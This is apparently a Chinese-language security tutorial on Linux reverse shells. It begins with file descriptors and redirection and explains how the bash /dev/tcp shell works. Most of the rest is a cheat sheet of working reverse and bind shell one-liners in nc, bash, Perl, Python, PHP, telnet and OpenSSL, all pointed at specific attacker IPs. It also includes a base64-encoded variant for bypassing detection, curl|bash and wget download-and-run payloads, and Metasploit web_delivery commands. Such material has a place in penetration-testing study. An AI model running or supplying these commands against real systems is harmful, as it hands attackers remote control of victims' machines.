Linux反弹Shell

Linux文件描述符

文件描述符简介

文件描述符是一个非负整数,内核需要通过这个文件描述符才可以访问文件

文件描述符好比一本书的目录(索引),通过这个索引可以找到需要的内容
在Linux系统中内核默认为每个进程创建三个标准的文件描述符:0(标准输入)、1(标准输出)、2(标准错误)

通过查看 /proc/PID/fd 目录下的文件,就可以查看每个进程拥有的所有文件描述符

例如:查看当前shell的文件描述符

1
/proc/$$/fd

image-20230817164949052

当打开文件时,系统内核会为特定的进程自动创建对应的文件描述符
例子:

1
2
3
4
5
6
7
8
#tail打开一个文件
tail -f flag

#获取tail进程PID
pidof tail

#查看tail进程创建的文件描述符
ll /proc/5539/fd

image-20230817165459414

可以看到存在一个文件描述符 3 索引打开的 /root/Desktop/flag 文件

标准文件描述符

Linux系统将所有设备都当作文件来处理,而Linux用文件描述符来标识每个文件对象。当Linux启动的时候会默认打开三个文件描述符

文件描述符 缩写 描述 默认设备
0 STDIN 标准输入 默认设备键盘
1 STDOUT 标准输出 默认设备显示器
2 STDERR 标准错误输出 默认设备显示器

image-20230817172133575

我们与计算机之间的交互是我可以输入一些指令之后它给我一些输出。

文件描述符0:理解为我和计算机交互时的输入,而这个输入默认是指向键盘的;
文件描述符1:理解为我和计算机交互时的输出,而这个输出默认是指向显示器的;
文件描述符2:理解为我和计算机交互时,计算机出现错误时的输出,而这个输出默认是和文件描述符1指向一个位置;

重定向

重定向是把输出定向到文件或者标准流。重定向输入输出本质上就是重定向文件描述符。

输入重定向

1
2
<
从文件读取输入。

输出重定向

1
2
>
将输出保存到文件。
1
2
>>
将输出追加到文件。

管道

1
2
|
将一个程序的输出作为输入发送到另一个程序。

Linux文件描述符操作

更改标准输出的位置

把标准输出位置更改到test文件中:

1
exec 1> test

把当前标准输出重定向到test文件中:

1
2
3
➜ ~ ➜ echo 'lst' 1> test
➜ ~ ➜ cat test
lst

更改标准输入的位置

从键盘输入,把输入读入user变量

1
2
3
4
➜ ~ ➜ read user
testtest
➜ ~ ➜ echo $user
testtest

把test文件中的内容重定向到标准输入:

1
2
3
➜ ~ ➜ read user 0< test
➜ ~ ➜ echo $user
lst

标准错误输出和标准输出的区别是,它在命令出错情况下的输出。

1
exec 2> test

创建文件描述符

  • 创建
1
exec 文件描述符 <> 文件名
  • 调用
1
&文件描述符
  • 关闭
1
2
3
4
5
exec 文件描述符<&-



exec 文件描述符>&-
  • 例子
1
2
3
4
➜ ~ ➜ exec 5> test
➜ ~ ➜ echo 'are you ok?' 1>&5
➜ ~ ➜ cat test
are you ok?

把文件描述符 5 指向test文件,然后把当前输出重定向到文件描述符5(用&引用文件描述符,即找到文件描述符指向的目标文件)

/dev/null

特殊文件,写入的任何东西都会被清空。

把标准错误输出重定向到/dev/null,从而丢掉不想保存的错误信息

1
whoami 2>/dev/null

快速移除文件中的数据而不用删除文件

1
cat /dev/null > test

Bash反弹Shell原理

什么是反弹shell

被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。

9ddfe008c9719e2aa84031494862e7c

  • 被控端
1
bash -i >& /dev/tcp/192.168.247.135/6666 0>&1
  • 控制端
1
nc –lvvp 6666
  • 参数解释
1
2
3
4
5
6
7
8
9
bash -i
打开一个交互式的bash shell。

/dev/tcp/IP/PORT
/dev/tcp/是Linux中的一个特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash实现的用来实现网络请求的一个接口。
打开这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

/dev/tcp/192.168.247.135/6666
和192.168.247.135的6666端口建立TCP连接
  • 通过socket连接通信
  1. 向 /dev/tcp/IP/PORT 写入内容
1
2
3
nc -lvvp 6666

echo hello > /dev/tcp/192.168.247.135/6666

image-20230819121452307

  1. 从 /dev/tcp/IP/PORT 读取内容
1
2
3
nc -lvvp 6666

cat < /dev/tcp/192.168.247.135/6666

image-20230819122156744

实现交互式shell

实现控制端和被控端之间的交互

  1. 把被控端的交互式shell输出重定向到控制端
1
bash -i > /dev/tcp/192.168.247.135/6666

把被控端执行的命令结果返回到控制端

image-20230819135550844

image-20230819135611448

实现了将被控端的标准输出重定向到控制端,但是还没实现用命令控制被控端。

1
2
3
4
5
#获取bash进程ID
ps -elf|grep "bash -i"

#查看进程文件描述符
ll /proc/2883/fd

image-20230819135835988

标准输出文件描述符1索引到 socket:[14184708]

  1. 把控制端的输入重定向到被控端的交互式shell
1
2
3
#控制端

nc -lvvp 6666
1
2
3
#被控端

bash -i < /dev/tcp/192.168.247.135/6666

实现了将控制端的输入重定向到被控端,但是控制端看不到命令执行结果

1
2
3
#获取bash进程ID

ps -elf|grep "bash -i"
  1. 结合两条语句,实现交互式命令行
1
bash -i > /dev/tcp/192.168.247.135/6666 0>&1

由/dev/tcp/192.168.247.135/6666传递的数据作为交互式shell的输入,命令执行后的结果输出到/dev/tcp/192.168.247.135/6666。

基本实现了反弹shell的功能。但是被控端的机器上依然回显了控制端执行的命令,且控制端看不到错误命令的输出。

1
2
3
4
5
6
7
#获取bash进程ID

ps -elf|grep "bash -i"

#查看进程文件描述符

ll /proc/128123/fd

标准输入文件描述符0和标准输出文件描述符 1 索引到 socket:[14209621]

  1. bash反弹shell
1
2
bash -i &> /dev/tcp/192.168.247.135/6666 0>&1
bash -i > /dev/tcp/192.168.247.135/6666 0>&1 2>&1

&、&>:混合输出(正确、错误的输出都输出到一个地方),将标准输出、错误输出全都重定向到 /dev/tcp/HOST/PORT,即控制端

0>&1:将标准输入的读取对象设置为标准输出的输出对象,即将标准输入也重定向到
/dev/tcp/HOST/PORT,即控制端

1
2
3
4
5
6
7
#获取bash进程ID

ps -elf|grep "bash -i"

#查看进程文件描述符

ll /proc/128123/fd

标准输入、输出、错误输出文件描述符0、1、2 索引到 socket:[14298097]

Linux反弹Shell方法

NC

  • NC正向Shell
1
2
3
4
5
6
7
8
被控端:
nc -lvvp 6666 -e /bin/sh

控制端:
nc 192.168.247.135 6666

原 理:
被控端使用nc将/bin/sh绑定到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell

image-20230819144122557

  • NC反向Shell
1
2
3
4
5
6
7
8
控制端:
nc -lvvp 6666

被控端:
nc -e /bin/sh 192.168.247.135 6666

原理:
被控端使用nc将/bin/sh发送到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell

image-20230819144105866

  • 无-e参数反弹shell
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 139.155.49.43 6666 >/tmp/f

mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路。

1
mknod backpipe p; nc 47.101.214.85 6666 0backpipe 2>backpipe

linux mkfifo命令:https://www.cnblogs.com/old-path-white-cloud/p/11685558.html

Linux mknod 命令:创建字符设备文件和块设备文件,https://man.linuxde.net/mknod

msfvenom -l payloads | grep “netcat” | awk ‘{print $1}’

Bash

1
2
3
4
5
被控端:
bash -i >& /dev/tcp/47.101.214.85/6666 0>&1

控制端:
nc –lvvp 6666
1
2
3
4
5
6
7
8
被控端:
exec 5<>/dev/tcp/139.155.49.43/6666;cat <&5 | while read line; do $line 2>&5 >&5; done

控制端:
nc –lvvp 6666

base64编码绕过:
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMjE0Ljg1LzY2NjYgMD4mMQ==|base64 -d|bash -i"
1
msfvenom -p cmd/unix/reverse_bash lhost=10.10.1.11 lport=6666 -f raw

msfvenom -l payloads | grep “bash” | awk ‘{print $1}’

Perl

1
perl -e 'use Socket;$i="47.101.214.85";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"47.101.214.85:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

msfvenom -l payloads | grep “perl” | awk ‘{print $1}’

Curl

vps

1
2
3
4
5
root@VM-0-2-ubuntu:~# cat index.html
bash -i >& /dev/tcp/139.155.49.43/6666 0>&1
root@VM-0-2-ubuntu:~# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
47.101.214.85 - - [03/Dec/2020 09:21:39] "GET /1.sh HTTP/1.1" 200 -

target

1
curl 139.155.49.43:8000|bash

result

1
2
3
4
root@VM-0-2-ubuntu:~# nc -lvvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 47.101.214.85 46370 received!
root@iZuf6j06q5f1lZ:~#

Python

  • Python一行命令反弹shell
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.101.214.85",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • 通过Msfvenom生成python反弹shell的payload
1
2
msfvenom -p python/meterpreter/reverse_tcp LHOST=139.155.49.43 LPORT=6666 -f raw
handler -p python/meterpreter/reverse_tcp -H 139.155.49.43 -P 6666
  • 通过Web delivery反弹shell:
1
2
3
4
5
6
7
use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set target 0
msf5 exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set lport 8888
msf5 exploit(multi/script/web_delivery) > exploit –j

python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://139.155.49.43:8080/pWMAajktf', context=ssl._create_unverified_context());exec(r.read());"

msfvenom -l payloads | grep “python” | awk ‘{print $1}’

PHP

  • PHP一行命令反弹shell
1
php -r '$sock=fsockopen("47.101.214.85",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
  • Msfvenom生成php反弹shell脚本
1
msfvenom -p php/bind_php lport=6666 -f raw > bind_php.php
  • 通过web_delivery反弹shell:
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set target 1
msf5 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > exploit –j

php -d allow_url_fopen=true -r "eval(file_get_contents('http://139.155.49.43:8080/RRfKpX', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"
1
wget 139.155.49.43/s.php -O /tmp/s.php && php /tmp/s.php

msfvenom -l payload | grep “php” | awk ‘{print($1)}’

Ruby

1
msfvenom -p cmd/unix/bind_ruby lport=6666 -f raw

msfvenom -l payload | grep “ruby” | awk ‘{print($1)}’

Telnet

1
2
3
4
5
6
攻击机:
nc -lvvp 5555
nc -lvvp 6666

目标机:
telnet 47.101.214.85 5555 | /bin/bash | telnet 47.101.214.85 6666
1
2
3
4
5
攻击机:
nc -lvvp 6666
目标机:
rm -f a && mknod a p && telnet 47.101.214.85 6666 0<a | /bin/bash 1>a
rm -f a;mknod a p;telnet 47.101.214.85 6666 0<a | /bin/bash 1>a

OpenSSL

openssl反弹443端口,流量加密传输

  1. 在远程攻击主机上生成秘钥文件
1
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
  1. 在远程攻击主机上启动监视器
1
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
  1. 在目标机上反弹shell
1
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s

Refer

https://medium.com/@int0x33/day-43-reverse-shell-with-openssl-1ee2574aa998